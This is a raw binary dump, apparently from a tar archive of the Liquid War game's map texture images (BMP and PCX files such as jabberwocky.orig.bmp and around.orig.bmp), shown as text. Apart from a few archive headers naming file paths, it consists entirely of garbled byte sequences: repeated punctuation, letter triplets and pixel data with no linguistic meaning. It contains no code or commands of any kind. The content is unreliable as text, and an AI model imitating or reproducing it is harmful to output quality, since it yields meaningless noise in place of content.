111000333666777333111222333222111555```aaa___eeeiiilllmmmmmmeeeUUUTTT[[[aaaccc``````[[[NNNTTTUUUMMMHHHBBB ---:::777333777888444///'''!!!  !!!###!!!)))+++)))dddeeejjjhhhffffff---+++***fffiiilllppprrraaaEEE<<<<<<>>>AAACCC>>><<<>>>>>>======AAAHHHGGGJJJfffssslll```PPPKKKMMMUUUYYY^^^fff!!!---777888999@@@EEEGGGFFFIIIIIIFFF>>>000333333111444555111000"""%%%''' ###...111000///111000+++***YYYYYY\\\WWWDDD777555444555444555555555444444444444555:::AAA^^^RRRKKKIIIMMMOOORRR^^^hhhiiijjjpppJJJOOOYYY]]][[[[[[\\\[[[WWWUUUPPPPPP,,,,,,,,,,,,,,,++++++,,,111:::>>>AAARRRYYYXXXTTTVVVJJJDDDAAAFFFHHHKKKWWWaaabbbccciiiooopppooorrrsssppphhhZZZ\\\]]][[[KKK@@@===;;;AAA@@@EEEGGGAAA999AAAEEEJJJSSSUUUUUU\\\cccccc777333QQQLLL:::---+++***+++***!!!---777888999@@@EEEGGGFFFIII!!!***,,,,,,333:::::://///////222555555444CCCKKKKKKJJJ"""$$$"""%%%''' ###...%%%)))###222222111111222fffdddeeeggghhhhhhfffccccccTTTZZZggg555111000000///"""!!!***,,,,,,333::::::777333---%%% """$$$"""%%%''' WWW\\\gggkkkiiiiii111000+++***______ccc]]]JJJ>>><<<<<<<<<<<<=====================>>>CCCLLLPPPSSSdddlllkkkgggiii]]]WWWTTTYYY[[[$$$)))(((%%%000222...222666:::999BBBIIIJJJBBB777===999333+++,,,***... %%%###'''---444888999666+++DDD<<<===;;;;;;:::777555555444555555555555444444444666>>>JJJnnnaaaPPPNNNVVV[[[YYYVVVaaacccRRRYYY___cccdddaaaVVVIII<<<333---,,,,,,,,,,,,,,,,,,---666BBBCCC;;;DDDMMM[[[___gggYYYIIIGGGNNNSSSRRROOOZZZ\\\XXX\\\```dddccclllrrrtttkkkaaagggccc\\\UUUXXXNNNMMMGGGEEENNNVVVTTTLLLEEEHHHLLLNNNRRRZZZZZZ___]]]ZZZ\\\333111222111000///---++++++ $$$)))(((%%%000222...222666:::999BBB$$$%%%---+++######%%%)))111111666444111333333222333666888777888IIIVVV((($$$$$$%%%$$$%%%###'''222222222333lllfff___bbbccc```ZZZ^^^eeeWWWVVV___,,,***...***$$$%%%$$$%%%---+++######%%%)))111111666444111333333111///...  )))((($$$$$$%%%$$$%%%###VVVXXX```gggnnnrrr999666+++BBBCCCBBBBBBAAA>>><<<===<<<=====================???HHHSSSTTTMMMVVV___mmmrrryyymmm\\\ZZZaaaggg"""+++444444+++//////,,,)))***///111999CCCIIIHHHHHH???:::<<<$$$$$$*** !!!***,,,###!!!'''***...444999>>>...III<<<666555888CCCDDD<<<555555555555555555555555555444999DDDJJJeee\\\QQQTTT]]]eeeeee]]]aaaVVVZZZ```eeeiiiYYYAAA333---,,,,,,,,,,,,,,,,,,,,,000<<>>...;;;???JJJKKKCCC==============================BBBNNNSSSQQQNNNNNNSSShhhnnnqqqhhh\\\___iiirrr000000///000...---444444---333111222;;;@@@???AAAIIIKKKEEE===---%%%&&&%%%((( ###>>>777999888999HHHGGG<<<555555666666555555555555555555AAAFFFCCCWWWTTTZZZbbbbbbaaabbb777<<>>==================>>>KKKPPPMMMPPPSSSIIIGGGVVVfffbbb___eeennnnnnmmm,,,000444777777444444,,,&&&)))------222:::@@@FFFFFFDDDDDDBBBBBB=== $$$$$$''' ;;;>>>EEE@@@:::===>>>===:::666777:::777666666666666666>>>GGGHHHDDDLLLWWW___bbbfff---...///222555<<<111...---......------666???AAA???BBBDDDBBB<<<:::===DDDOOOWWW[[[___aaaaaa___^^^VVVHHHQQQTTTWWWWWW\\\dddjjjppppppnnnnnnooojjjcccbbb\\\SSSDDDPPPZZZ\\\XXXQQQVVVZZZLLLHHHKKKJJJEEECCCEEE 666000333444 ,,,000444777777444444,,,&&&)))------ &&&]]]___[[[TTTYYY]]]OOOKKKNNNMMMHHHGGGGGGFFF@@@"""666333444333333;;;DDDGGGEEEHHHJJJHHHBBBAAADDDKKKVVV^^^bbbfffiiiiiiffffff^^^PPPYYY\\\``````eeemmmsssyyyyyywwwwwwyyysssmmmlllfff\\\YYYfffsssvvvBBB===///&&&""" &&&111333///(((,,,000""""""!!! ***######"""%%%$$$ ]]]]]]aaaVVVGGG<<<  DDDFFFDDDAAA>>>???BBB???>>>????????????GGGPPPRRRPPPSSSVVVTTTNNNMMMOOOWWWbbbjjjnnnrrr444:::999555222---444111+++***///---'''&&&,,,666>>>===AAADDD"""$$$   EEEKKKFFF>>>999999OOO]]]XXXGGG:::>>><<<;;;HHHBBBGGGKKKBBBDDDKKKLLLXXX___ffflll///555===BBB===666333222@@@:::???CCC:::<<>>===,,,,,,***'''###>>>DDD;;;===DDDBBBYYYjjjpppeeeFFF@@@===;;;PPPUUUkkkkkkQQQPPPSSSYYYaaaccciiimmm---111666;;;222888555222HHHMMMcccdddJJJHHHKKKHHHMMMNNNCCC???MMMRRRZZZ\\\bbbfffgggdddYYYPPPRRRQQQSSSWWW\\\XXXTTTPPPRRRZZZiiikkkiiigggfffiiihhhhhh[[[ZZZ^^^NNNHHHeee]]]JJJGGGDDDBBBCCC222999%%%666<<<111 !!!777888 777;;;<<<999///&&&(((''')))---111...***]]]YYYZZZ]]]ZZZbbbfff^^^```hhh___MMMJJJGGGEEEFFFCCCHHH lllaaaBBB RRRhhhiiiOOONNNQQQNNNSSSTTTJJJEEETTTXXXaaabbbiiimmmnnnkkkaaaXXXZZZYYY[[[```dddaaa]]]YYYZZZcccrrrtttrrrpppooorrrqqqqqqfffeeehhhXXXRRR^^^...///999<<<666666111,,,---111---666999111444;;;333 """$$$"""'''***### $$$***......,,,,,,***'''\\\TTTHHH>>><<<;;; %%%qqqwwwmmmMMMHHHFFFCCCXXX]]]tttuuu[[[YYY]]]ZZZ^^^```UUUQQQ___dddmmmooouuuyyyzzz;;;AAABBB===222---))) +++111111///777CCCGGGIII888555222333222'''<<<===;;;AAAVVVbbbhhhjjjpppqqq]]]HHH@@@CCCNNNYYYiiitttbbbRRRIIIVVVbbbeeemmm111222444222888;;;FFFQQQaaalllZZZKKKAAA;;;;;;???999666AAAOOOZZZ^^^ffflllmmmhhh]]]XXXTTTKKKDDDBBBGGGIIIUUU[[[\\\ZZZaaannnqqqtttsssjjjiiiiii```XXXTTTTTTXXXVVV777"""---333666<<<===))) &&&666AAA///;;;AAABBB===222---))) +++```YYYQQQUUUfffeee]]]ZZZYYYOOOEEEKKKJJJGGGHHHCCCGGGMMMMMM !!!lllmmmZZZDDD WWWgggrrr```PPPGGG@@@AAAEEE@@@===HHHUUUbbbeeemmmssstttoooddd```[[[SSSKKKJJJOOOQQQ^^^dddeeecccjjjwwwzzz}}}|||ssssssrrriiibbb^^^___ccc```%%%)))666//////333444,,,$$$(((999888000...+++"""!!!%%% !!!$$$'''111888999888555222333lllaaaNNNAAA>>>??? """---333666wwwxxxeeeOOOIIILLLVVVbbbrrr}}}lll\\\RRRLLLMMMPPPLLLIIITTTaaammmqqqyyy///111222000...111"""+++///---***,,,555888:::333,,,))))))///...  DDDCCCBBBBBBOOO]]]eeecccdddiiifff```[[[bbbiiifffmmmxxxqqqXXXDDDSSSZZZaaa^^^eeepppiiiPPP===777000......000666BBBDDDPPPZZZ\\\]]][[[YYY\\\MMM??????@@@DDDIIIVVVZZZXXXUUUVVV```cccddddddbbbaaaaaadddaaa[[[VVVJJJNNN___888)))000...000555222+++'''...555333:::EEE===%%% ///111222000...111"""+++]]]___XXXUUUZZZYYYSSSPPPNNNJJJKKKNNNHHH???AAAEEE """000```eeebbb\\\'''...555dddkkkvvvnnnVVVCCC===777555444666<<>>!!!$$$***555BBBGGGIIIMMMKKKCCC??????666***!!!  ---)))&&&(((...```dddbbbYYYWWWYYYWWWTTTUUUSSSMMMNNNFFF!!!)))cccZZZfffssswwwzzzMMMKKKtttppppppggg[[[RRRMMM@@@777555666777777888???MMMSSSOOOKKKLLLRRRPPPMMM```\\\YYY[[[aaafffhhhgggggghhhiiiggg___XXX^^^aaabbbgggkkkhhhSSSRRR(((//////222:::444444888555+++***+++***'''(((&&& !!!!!!!!!'''---111+++!!!)))555...''')))000111((( )))gggdddQQQSSSaaaaaa !!!$$$eeeqqq~~~||||||sssfff^^^YYYLLLBBB@@@AAABBBBBBCCCKKKYYY^^^[[[ 777999888///000444555777999444777444&&&%%%)))))) """###(((---!!! &&&!!! <<<@@@BBBDDDIIIJJJMMMSSSYYY```nnnyyyhhhQQQFFFHHHGGGHHHNNNyyyzzz```III>>>@@@@@@@@@FFFPPPUUUMMMJJJ999---...111///111;;;AAABBBCCCEEEEEEKKKbbbdddcccZZZ[[[___```bbbddd___bbb___\\\YYYWWWUUU^^^\\\[[[aaaYYYQQQPPPSSSTTTQQQ:::%%%+++:::EEEMMMNNN444$$$))) 777999888///000ccc___bbbeee^^^YYY---///444///######&&&***---)))###!!!999;;;EEEPPP]]]aaaUUU\\\kkkvvv~~~NNN444NNNCCCFFFEEEFFFLLLUUU[[[TTTPPP???444555888666888BBBHHHIIIJJJLLLMMMSSSjjjlllkkkcccdddhhhiiikkklllhhhkkkhhheeebbb```___hhhfffeeejjjccc[[[%%%))))))&&&+++555666222555888111,,,---///444///######&&&***---)))###%%%)))***,,,***+++!!! """///222333111+++)))***###(((hhh[[[MMMZZZaaa[[[  ```gggvvvqqqYYYNNNQQQPPPQQQWWWaaafff___\\\KKK@@@@@@DDDBBBDDDNNNTTT111;;;///(((###%%%&&&&&&"""666333000'''---***&&&(((''' JJJHHH@@@===<<<999AAAWWWttt~~~sss___AAA<<<:::???CCCHHHEEElllWWW999333222777;;;@@@>>>666777EEENNNCCC???GGGMMM===000---------999III]]]fff[[[SSSGGGAAAFFFGGGJJJNNNPPPQQQQQQMMMRRRccc___\\\bbbgggfffhhheeeaaa^^^[[[RRRKKKNNNQQQXXX333 ###???KKKNNNJJJ???***   111;;;///(((---///---******+++***&&&$$$$$$ !!!777333666???NNN\\\iiifffppp|||{{{ppp\\\ 999888<<>>===VVVrrrlllZZZPPPUUUUUURRRYYY\\\YYYSSSRRRHHHMMMMMMKKKQQQTTTRRRKKKDDD<<<999<<>>===BBBEEEFFFKKKWWWPPPGGGFFFOOOWWWZZZWWW^^^dddgggeee]]]]]]\\\RRRBBBBBBNNNUUUUUUUUUSSS555 !!!===NNNQQQKKK888%%%!!!!!!%%%(((&&&  """******((()))''')))(((######&&&%%%"""DDDMMMUUU^^^eeeZZZNNNQQQKKK888%%%!!!RRRPPPWWWZZZWWWQQQJJJBBB???BBBQQQjjjddd___SSSAAA:::;;;>>>:::???JJJRRRUUUMMMFFFEEEJJJMMMNNNTTT```YYYPPPOOOYYYaaadddaaahhhnnnqqqooohhhhhh111'''###*********((()))''')))(((######&&&%%%"""%%%$$$((())) &&&///666******(((######$$$(((+++---"""XXX[[[bbb```UUUJJJ !!!===tttbbbXXX]]]]]][[[bbbeeeccc\\\UUUNNNKKKNNN\\\vvvpppjjj^^^MMMFFFHHH### """ ***,,,(((&&&///######"""###(((""""""!!!!!!$$$ 888===>>>>>>EEEnnngggTTTMMMKKK___bbbfffiiipppiiiWWWEEECCCWWWZZZ^^^aaaiiiaaaOOODDDGGGFFF>>>AAA\\\fffhhh___OOOBBBBBBJJJ===333<<>>444666444111222333222<<>><<<:::;;;<<<;;;EEEOOOVVVTTTSSSXXXbbbeeekkkqqqpppggg``````,,,(((&&&///222555///((("""###))))))***$$$   """######"""###((((((""" """"""!!!WWWXXXXXX[[[___XXX  999MMMSSSNNN222gggjjjooorrryyyrrr```UUUYYYWWWPPPSSSoooyyyzzzrrrbbbTTTUUU111###    !!!$$$$$$%%%&&&===HHH==='''%%%%%%!!! ### ::::::888???QQQxxx}}}XXXHHHFFFEEERRRMMMHHHCCCSSSKKK>>>ZZZqqqxxxdddPPPOOOGGG:::777333111111>>>===JJJEEE@@@<<>>777444>>>GGGFFFKKKKKKLLL"""... CCCPPPSSSHHH### 000---***  %%%((( !!!"""FFFNNNOOOSSSHHH###EEEAAAQQQIII<<>>BBBYYYqqqxxxdddPPPOOOVVV@@@888@@@JJJ???BBBOOOJJJ===???===888999FFFUUUXXXUUUMMM]]]gggiiiqqqooo```XXXZZZ%%%&&&===HHH===000000---***  %%%((( !!!"""%%%'''%%%%%%!!! %%%'''WWWKKKDDDKKKZZZ^^^  CCCPPPSSSHHH###UUUQQQMMM\\\TTTHHHMMM]]]cccYYYJJJNNNddd|||ppp\\\[[[MMMDDD...   +++'''!!!"""''',,,,,,$$$<<<999AAA```}}}~~~nnn[[[OOONNNFFFLLL???<<<<<<@@@BBB>>>FFFBBBOOOlllwwwbbbQQQRRRHHHIIIJJJIIIAAA444???EEE888444444888;;;666>>>NNNUUUXXXPPPDDD;;;;;;HHHeeeyyypppZZZJJJ>>>;;;999:::EEEJJJLLL@@@888999DDDGGG444000///000888@@@EEEIIIKKKKKKGGG:::999===>>>???HHHVVVRRRMMMUUUUUUDDD===BBBEEEEEE@@@@@@JJJOOOMMMQQQLLLKKKIIILLL!!!""""""/// ***HHHIII999&&&   !!!(((+++******###"""%%%!!! !!!!!!""""""EEEHHH999&&& 999===@@@<<>>KKKMMMDDD@@@777666777;;;??????LLL<<>>:::888<<<888/////////333888888EEEWWW]]]UUU===777777555:::AAATTT^^^bbb___LLL===222000888DDDDDD;;;>>>===<<<;;;000---///333777888444333111444777>>>HHHKKKIIIGGGQQQUUUMMMKKKIIINNNLLLDDD>>>@@@BBBCCCHHHKKKWWWZZZ[[[YYYTTTTTTSSS((((((###999888BBB...   ***000)))###!!!,,,///000---(((((('''(((VVVRRREEEAAA  999======KKK]]]ccc[[[CCC===>>>;;;@@@GGG[[[eeeiiifffTTTDDD:::888???LLLLLLCCCFFFEEEDDDDDD999666888<<<@@@AAA>>>===;;;>>>AAAHHHRRRUUU&&&)))!!! ###!!!,,,///000---(((((('''((((((###""" [[[eeegggllljjjggg&&& 888BBB...  DDDIIIIIIVVVhhhooogggOOOIIIIIIGGGLLLSSSfffpppuuu ...---   $$$  $$$$$$,,,'''###%%%###OOObbbwwweeeIII:::;;;IIIMMMCCC;;;777666666777>>>DDDSSSNNNQQQOOOCCC???OOOaaaaaaOOO@@@ZZZUUUQQQSSSQQQ>>>555333333>>>;;;333///......///666<<>>888===BBB???>>>===999666666666666777777777888===CCCJJJNNNHHH???DDD &&&)))###&&&000111///---...000---)))%%%!!!"""%%%%%%    ###^^^hhhpppeeeYYYVVV 555AAA  MMM]]]jjjiiiQQQKKKYYYnnnppp]]]```PPPDDDFFF     %%%%%%!!!  ###$$$""""""'''^^^QQQ<<<777777777999;;;<<>>@@@999555:::EEELLLOOONNN@@@;;;FFFFFFGGGLLLKKKQQQRRRPPPPPP444AAA///111:::???:::EEERRRVVVQQQ999<<>>FFF???<<>>999<<<999555:::CCCJJJPPPMMMKKKPPPWWW\\\---,,,)))###!!!SSS(((  %%%)))$$$ $$$  $$$!!!MMMSSSYYY___\\\\\\XXXRRRPPPVVVXXXTTTTTTTTTPPP  JJJWWW\\\WWW???BBBWWWaaa^^^CCC999BBBEEE???<<<@@@???AAA:::666;;;GGGAAA;;;888666666777777777777777777777:::@@@DDDDDDCCCEEE@@@   $$$!!!$$$***000---,,,)))###!!!''')))%%%%%%%%%!!!   [[[MMMHHHSSSTTTTTT###$$$""""""'''(((  cccgggbbbKKKNNNbbbmmmiiiNNNEEENNNQQQKKK ---+++)))&&&###!!!!!!   """(((&&&$$$$$$@@@:::777888777777777777888;;;<<>>QQQYYYKKKNNN[[[bbb[[[DDD>>>LLLZZZWWWBBB555CCCLLLKKKGGGEEE===555222000.........222555444222.....................000222777;;;BBBOOOKKKGGGCCC222111333666::::::AAADDD<<<<<<===<<>>JJJMMMZZZPPP666//////000111////////////...............///444>>>EEELLLVVV\\\[[[YYYSSSRRRHHH:::@@@OOORRRXXXUUUOOOLLLDDDGGGLLLOOOXXX222222000,,,******+++***'''%%%)))$$$%%%&&&### ***...(((&&&+++)))!!!&&&''''''''' $$$RRRSSSPPPDDD555&&&...&&&333<<<111)))777666444$$$'''%%%!!! ---### BBBQQQTTT[[[WWWQQQNNNFFFIIIOOOQQQ[[[aaaaaa___\\\ZZZZZZ[[[ZZZVVVUUU)))$$$%%%&&&###&&&...&&&333<<<111)))777666444$$$'''%%%!!! ---###  )))000...,,,&&&%%%###&&&,,,(((""" """,,,222222000,,,******+++***'''%%%)))$$$%%%&&&### ***...(((&&&+++)))!!!&&&'''''''''KKKNNNSSSNNNJJJIII$$$%%%'''###&&&...&&&333<<<111[[[YYYhhhwwwuuusssYYYdddgggddd)))222000,,,    )))///222222***%%%'''%%%$$$!!!!!!&&&!!!!!!$$$---+++'''&&&%%%$$$)))---...***#########!!!###$$$ ...888999555444000///222///###!!!"""  888888888777999===???MMMXXXRRREEEOOO]]]gggbbbJJJAAARRRZZZ\\\XXXRRRHHH]]]gggeeeaaaTTTHHHGGGLLLHHHKKKFFF:::555  FFFDDDGGGMMM^^^gggiiidddddd```^^^bbb^^^RRRPPPQQQFFF@@@666111333:::>>>???<<<888>>>EEE===333000000000000000000///111555777EEEPPPKKK>>>HHHVVV___ZZZBBB999KKKSSSUUUQQQKKKAAAWWW```^^^ZZZNNNAAA@@@EEEAAAEEE???333//////333888;;;333111////////////111888@@@KKKKKKMMMUUU\\\^^^^^^WWWRRRSSSQQQQQQMMMMMMRRRMMMIIIIIIKKKNNNPPPZZZ+++'''&&&%%%$$$)))---...***#########!!!###$$$ ...888999555444000///222///###!!!""" 666<<>>???GGGLLL  """(((111--- \\\eeegggbbb]]]SSSiiirrrppp$$$---)))###))) %%%111*** %%%---///&&&"""###$$$%%%''')))###"""'''+++)))+++***(((###$$$######'''******)))%%%###%%% &&&'''### """((()))...777:::666333...)))***%%%"""  888888888<<>>GGGDDD888666777:::777444444444555555555555555999DDDWWWZZZ[[[HHHNNNTTTaaa___ """000666$$$---)))###))) %%%111*** %%%---///&&&"""###$$$%%%''')))###"""'''+++)))+++***(((###$$$######'''******)))%%%###%%% &&&'''### """((()))...777:::666333...)))***%%%"""WWWGGG???AAAIIIRRR$$$'''(((!!!---+++ """ooovvv[[[OOOTTTcccmmmiii---,,,$$$ ###666:::///  ###---000000///+++---555666111,,,'''&&&+++...---000000&&&###&&&%%%&&&***,,,---+++)))///---%%%***,,,+++***)))***%%%"""$$$...000,,,&&&"""$$$###''''''  888999???JJJaaaIIIJJJDDDRRR\\\fff[[[@@@;;;GGGYYYbbb```DDDBBBTTTbbbaaaYYYTTTPPPAAADDDJJJWWWjjjmmmccc  ###---000000bbb^^^```ggghhhccc^^^YYYMMMLLLJJJCCCDDDMMMXXX]]]```___aaaaaaWWWTTTWWWVVVWWW[[[]]]^^^\\\ZZZ```^^^NNNVVV[[[\\\[[[[[[YYYZZZUUURRRTTT^^^```\\\VVVRRRSSSRRRKKKKKKWWWVVVBBB555888AAADDD===777:::444111000000000000000111111111111777BBBZZZAAABBB<<>>CCCQQQdddggg\\\GGG===>>>@@@777777999444///333:::888PPPZZZ]]]]]]\\\XXXZZZbbbccc^^^YYYTTTHHHGGGEEE??????IIISSSXXX[[[ZZZ000000&&&###&&&%%%&&&***,,,---+++)))///---%%%***,,,+++***)))***%%%"""$$$...000,,,&&&"""$$$###'''''' 888222///////// +++'''000&&& $$$,,,+++ ---,,,$$$ ###666:::///  ###---000000///+++---dddeee```[[[VVVJJJIIIGGGAAAAAAKKKUUU[[[^^^]]]______VVVRRRUUUTTTVVV***,,,---+++)))///---%%%***,,,+++***)))***%%%"""$$$...aaa^^^WWWSSSUUUTTTMMMMMMYYYYYYEEE888;;;DDDGGG@@@:::===777444444444444444444555555555666<<>>JJJWWW999;;;AAALLLYYYeee[[[BBB???JJJ[[[```SSSAAAHHHVVVfffgggddd```QQQ@@@AAA;;;===MMM]]]666&&& %%%---******jjjbbb___jjjpppiiiZZZUUUIIIKKKJJJGGGLLLVVVaaahhhkkkjjjfffdddXXXNNNLLLMMMKKKQQQYYY___^^^VVVZZZWWWOOOWWW___^^^WWWXXXXXXWWWVVVMMMHHHWWWcccccc]]]WWWOOOMMMNNNLLLWWWYYYGGG888999???===999:::<<<444111222111111000000111111111111666BBBPPP111333999EEEQQQ]]]SSS;;;777CCCTTTYYYLLL:::AAAOOO___```]]]YYYJJJ:::;;;444777GGGVVVdddSSSIIICCCAAA===333111000000555???:::RRRZZZXXXXXXeee\\\YYYeeejjjdddUUUPPPDDDFFFEEEBBBHHHQQQ\\\cccfff888555222''' (((...---&&&)))&&&'''[[[ZZZSSSUUUUUUTTTSSSJJJEEETTT``````ZZZTTTMMMJJJLLLIIIUUUWWWDDD555777===;;;777888:::222/////////!!! ###///%%% &&&*** !!!111222///+++  )))666&&& %%%---******888^^^[[[ggglllfffWWWRRRFFFHHHGGGDDDJJJTTT___fffiiihhhdddbbbVVVLLL (((...---&&&)))&&&'''...---&&&(((((('''&&&'''dddddd^^^XXXQQQOOOPPPNNNYYY[[[III:::<<>>JJJWWWcccYYY@@@===&&&*** !!!111222///+++  )))666&&& %%%---******888///,,,888===777(((###$$$///666999888555222''' (((...---&&&)))&&&'''...---&&&(((((('''&&&'''333333---''' (((eeeSSSEEEGGGLLLKKK !!! ###///%%% &&&***LLLSSSaaaqqqsssoooliquidwar-5.6.5/data/maptex/jabberwocky.orig.bmp0000664000372000037200000020537413407756104021324 0ustar travistravisBM (  !!dpsxo{~Xcf#(*+25?HLKTX5=A!                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        ("g                      x                      g                     @U                     C                         1                                        @                                                                  !s                       05&                      >1                       M=                  \}I                  k?U                  n!                \              J             8                    '                      $                    *                                                     `d            :                    |@             A+                                                                {tv         qqr                            ((                  U     2  t  _ )liquidwar-5.6.5/data/maptex/lwtabto4.orig.pcx0000664000372000037200000001052713407756104020570 0ustar travistravis cc,,d !"!" ((+/ (++(+/ (+//#(+/ (+/42>842>842>842>842>842>84#(+/ (+/2828282828282#(+/ (+/>8$ *<>8$ *<>8<>8<>#(+/ (+/<82 $*/><82 $*/><82><82><#(+/ (+/842 $*,/><842 $*,/><842><842><8#(+/ (+/42 *,/>842 *,/>842>842>84#(+/ (+/2*/,82*/,828282#(+/ (+/>8<>8<>8$ *<>8<>8<>#(+/ (+/<82><82><82 $*/><82><82><#(+/ (+/842><842><842 $*,/><842><842><8#(+/ (+/42>842>842 *,/>842>842>84#(+/ (+/28282*/,828282#(+/ (+/>8<>8<>8<>8<>8$ *<>#(+/ (+/<82><82><82><82><82 $*/><#(+/ (+/842><842><842><842><842 $*,/><8#(+/ (+/42>842>842>842>842 *,/>84#(+/ (+/282828282*/,82#(+/ (+/>8<>8$ *<>8$ *<>8$ (+/ (+/<82><82 $*/><82 $*/><82 $*(+/ (+/842><842 $*,/><842 $*,/><842 $*,(+/ (+/42>842 *,/>842 *,/>842 *,(+/ (+/282*/,82*/,82*/(+/ (+/>8$ *<>8$ *<>8<>8<>#(+/ (+/<82 $*/><82 $*/><82><82><#(+/ (+/842 $*,/><842 $*,/><842><842><8#(+/ (+/42 *,/>842 *,/>842>842>84#(+/ (+/2*/,82*/,828282#(+/ (+/>8<>8$ *<>8<>8<>8<>#(+/ (+/<82><82 $*/><82><82><82><#(+/ (+/842><842 $*,/><842><842><842><8#(+/ (+/42>842 *,/>842>842>842>84#(+/ (+/282*/,82828282#(+/ (+/>8<>8$ *<>8<>8<>8<>#(+/ (+/<82><82 $*/><82><82><82><#(+/ (+/842><842 $*,/><842><842><842><8#(+/ (+/42>842 *,/>842>842>842>84#(+/ (+/282*/,82828282#(+/ (+/>8<>8<>8<>8<>8$ *<>#(+/ (+/<82><82><82><82><82 $*/><#(+/ (+/842><842><842><842><842 $*,/><8#(+/ (+/42>842>842>842>842 *,/>84#(+/ (+/282828282*/,82#(+/ (+/>8$ *<>8<>8<>8<>8<>#(+/ (+/<82 $*/><82><82><82><82><#(+/ (+/842 $*,/><842><842><842><842><8#(+/ (+/42 *,/>842>842>842>842>84#(+/ (+/2*/,8282828282#(+/ (+/>8<>8<>8$ *<>8<>8<>#(+/ (+/<82><82><82 $*/><82><82><#(+/ (+/842><842><842 $*,/><842><842><8#(+/ (+/42>842>842 *,/>842>842>84#(+/ (+/28282*/,828282#(+/ (+/>8<>8<>8<>8$ *<>8<>#(+/ (+/<82><82><82><82 $*/><82><#(+/ (+/842><842><842><842 $*,/><842><8#(+/ (+/42>842>842>842 *,/>842>84#(+/ (+/2828282*/,8282#(+/ (+/>8$ *<>8<>8$ *<>8<>#(+/ (+/<82 $*/><82><82 $*/><82><#(+/ (+/842 $*,/><842><842 $*,/><842><8#(+/ (+/42 *,/>842>842 *,/>842>84#(+/ (+/2*/,8282*/,8282#(+/ (+/>8<>8<>8$ *$ *<>8<>#(+/ (+/<82><82><82 $*/ $*/><82><#(+/ (+/842><842><842 $*,/ $*,/><842><8#(+/ (+/42>842>842 *,/ *,/>842>84#(+/ (+/28282*/,*/,8282#(+/ (+/>8<>8<>8$ *<>8$ *<>#(+/ (+/<82><82><82 $*/><82 $*/><#(+/ (+/842><842><842 $*,/><842 $*,/><8#(+/ (+/42>842>842 *,/>842 *,/>84#(+/ (+/28282*/,82*/,82#(+/ (+/>8<>8<>8<>8<>8<>8<>#(+/ (+/<82><82><82><82><82><82><#(+/ (+/842><842><842><842><842><842><8#(+/ (+/42>842>842>842>842>842>84#(+/ (+/2828282828282#(+/ (+/>8<>8$ *$ *<>8$ *<>#(+/ (+/<82><82 $*/ $*/><82 $*/><#(+/ (+/842><842 $*,/ $*,/><842 $*,/><8#(+/ (+/42>842 *,/ *,/>842 *,/>84#(+/ (+/282*/,*/,82*/,82#(+/ (+/>8<>8<>8<>8$ *<>8<>#(+/ (+/<82><82><82><82 $*/><82><#(+/ (+/842><842><842><842 $*,/><842><8#(+/ (+/42>842>842>842 *,/>842>84#(+/ (+/2828282*/,8282#(+/ (+/>8$ *<>8<>8<>8<>8<>#(+/ (+/<82 $*/><82><82><82><82><#(+/ (+/842 $*,/><842><842><842><842><8#(+/ (+/42 *,/>842>842>842>842>84#(+/ (+/2*/,82828282>2#(+/ (+/##(+/ ((+/ ++/+// +++;;;KKKWWWgggwww÷sssgggWWWKKK;;;///###sg_SGw?c3S'C3WW'[3[;_GcOc[ggc g[ kWoOoGsCs;w7{ #########'''''''''+++++++++/////////333333333777777777;;;;;;;;;?????????CCCCCCCCCGGGGGGGGGKKKKKKKKKOOOOOOOOOSSSSSSSSSWWWWWWWWW[[[[[[[[[_________cccccccccgggggggggkkkkkkkkkooooooooossssssssswwwwwwwww{{{{{{{{{liquidwar-5.6.5/data/maptex/around.orig.bmp0000664000372000037200000045237413407756104020316 0ustar travistravisBMT(h  !!xʍؾϯğfr~rb=F7QaK^oXyFUA2?/+6)# (%/$  8O8 -                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  `Eb                 IOJ                          l                 n       Wu      }         Os        n          l            q     z                        n          n                l       {                           n                  Os             |                                 k          n           ,     c                    {                     j     =GY            $                T             :           }             p           n       n           z            n               }                  |           cu           k            l            cu         }              +w                    }                 |             q                |      .y               @w              |               k                  6x               }        Wu               z         n                  k               Hx                 x        rt          6x        |         q            Hx        v                &z            Wu                   Wu              t               x            6x                    &z              r                            x          Wu            Wu             rt     rt         p                   v         @w        @w            6x       z                 q         v          rt        {~           6x               +w     l        y       rt            Hx       @w     r        .y          {~        u              .y           @w           n          n          {~          q         v          r            {        Hx         |~       {~    v         p        |            z    rG        o         i   X       b&             ڙ              S                            liquidwar-5.6.5/data/maptex/confuse.orig.bmp0000664000372000037200000020537413407756104020464 0ustar travistravisBM (  !!fa           68      3      -!+                       3           -!+           >           /1           4           03           N3                                                                3                         68                      -!+                                            @8                                                                             w@           68                                 w@           68           _6           -!+           v0           4-      1                                                                         w@           68                                 w@           68           _6           -!+  v0  4-                                     D,           1D/           e4           0.                                 e4           0.           w@           68           _6           -!+           v0                                                                                        e4           0.            1D/      e4      0.           w@                                                                                                              <           1D/         <   1D/               5               59               w@               48               6                                                                                                                        <               1D/                                             <               1D/               5               59               w@               48                                                                                            8,                                             8               8,               <               1D/               5               59               w@               48                                                         8               8,                                             8               8,               <               1D/               5               59                                                                                                                        >O6               6                                             >O6        6        8,        4.        2.               5               59                                                                                                         Z4               >O6                                  Z4    >O6    6    8,               4.               2.                                                                                                                                       Z4                              5               23               Z4               >O6               6               8,               4.               2.               5               59                                                      5        23                                             5               23               Z4               >O6               6               8,                                                                  liquidwar-5.6.5/data/maptex/lwtabto2.orig.pcx0000664000372000037200000000335013407756104020562 0ustar travistravis O1,,P 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 